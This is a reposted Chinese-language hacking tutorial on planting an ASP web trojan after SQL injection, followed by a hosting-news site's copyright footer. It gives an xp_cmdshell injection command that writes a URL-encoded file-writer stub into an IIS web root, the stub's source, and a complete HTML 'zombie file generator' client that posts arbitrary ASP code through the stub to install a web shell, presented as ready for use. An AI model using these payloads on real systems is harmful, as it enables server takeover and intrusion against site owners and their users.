sql注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。1、sql注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。文件内容:<%set objfso = server.createobject("scripting.filesystemobject")set objcountfile=objfso.createtextfile(request("mypath"),true)objcountfile.write request("mydata")objcountfile.close%>这个文件可以写成一行 <%set objfso = server.createobject("scripting.filesystemobject"):set objcountfile=objfso.createtextfile(request("mypath"),true):objcountfile.write request("mydata"):objcountfile.close%>将特殊字符进行编码 就可以得到 %3c%25set%20objfso%20=%20server.createobject(%22scripting.filesystemobject%22):set%20objcountfile=objfso.createtextfile(request(%22mypath%22),true):objcountfile.write%20request(%22mydata%22):objcountfile.close%25%3e注入(这里假定web目录是c:\inetpub\wwwroot\): exec master..xp_cmdshell echo "%3c%25set%20objfso%20=%20server.createobject(%22scripting.filesystemobject%22):set%20objcountfile=objfso.createtextfile(request(%22mypath%22),true):objcountfile.write%20request(%22mydata%22):objcountfile.close%25%3e" > c:\inetpub\wwwroot\ftp.asp;这样 在服务器的web 目录下 将生成一个 ftp.asp文件该文件的代码为<%set objfso = server.createobject("scripting.filesystemobject")set objcountfile=objfso.createtextfile(request("mypath"),true)objcountfile.write request("mydata")objcountfile.close%>你可以看到,上面代码中预留了两个接口 mypath 和 mydatamypath是下次提交的时候 文件的生成路径mydata是文件的内容在本地编写一个客户端文件 例:rohuclient.htm 代码如下<!doctype html public "-//w3c//dtd html 4.01 transitional//en"><html><head><meta http-equiv="content-type" content="text/html; charset=gb2312"><title>肉鸡文件生成器–客户端 制作:绝对零度 qq:12216796</title><style type="text/css"><!–td {font-size: 9pt; line-height: 150%}body {font-size: 12px;font-family: verdana, arial, helvetica, sans-serif, 宋体;scrollbar-face-color: #eeeeee; scrollbar-highlight-color: #ffffff; scrollbar-shadow-color: #dee3e7; scrollbar-3dlight-color: #d1d7dc; scrollbar-arrow-color: #006699; scrollbar-track-color: #ededed; scrollbar-darkshadow-color: #98aab1}a:link {font-size: 9pt; color: #363636; line-height: 18px; text-decoration: none}a:visited {font-size: 9pt; color: #363636; line-height: 18px; text-decoration: none}a:hover {color: #cc0000; line-height: 18px; text-decoration: underline}input,select,textarea {font-family: "tahoma", "arial", "helvetica", "sans-serif", "宋体";background-color: #f9f9f9; font-size: 9pt ; border: 1px #d2d2d2 dobble;line-height:120%;}–></style></head><script language="javascript" type="text/javascript">function chk(theform){if(theform.ftpurl.value==){alert(请输入递交的地址!);theform.ftpurl.focus();return false;}if(theform.mypath.value==){alert(请输入生成文件的位置!);theform.mypath.focus();return false;}if(theform.mydata.value==){alert(请输入生成文件的内容!);theform.mydata.focus();return false;}theform.action=theform.ftpurl.value;}</script><body><form name="rohuform" method="post" action="" onsubmit="return chk(this)" target="_blank"><table width="673" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td width="11%">目标位置:</td><td width="79%"><input name="ftpurl" type="text" id="ftpurl" size="50">例:http://127.0.0.1/ftp.asp<;/td></tr><tr><td>生成文件:</td><td><input name="mypath" type="text" id="mypath">将在服务器上,生成的文件路径。例:c:\inetpub\wwwroot erver.asp </td></tr><tr><td valign="top">文件代码:</td><td><textarea name="mydata" cols="100" rows="10" id="textarea"></textarea></td></tr><tr><td> </td><td><input type="submit" name="submit" value="提交"></td></tr></table><br></form><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="center">版权所有:绝对零度(<a href="http://www.rohu.com";>虎盟</a>)</td></tr></table></body></html>在目标位置栏填上刚刚生成的ftp.asp文件的url地址 如 http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)在生成文件栏 输入将在服务器上生成的文件名 比如:c:\inetpub\wwwroot erver.asp 在文件内容里 ,随意的粘贴一个asp代码 点递交,当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。浏览 http://127.0.0.1/server.asp 呵呵 服务器就是你的了hoky: 这篇文章前段时间不知道在那个地方看过.转贴的时候就没有写作者是谁.我也不记得了.
SQL注入与ASP木马上传-数据库专栏,SQL Server
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » SQL注入与ASP木马上传-数据库专栏,SQL Server
相关推荐
- 暂无文章
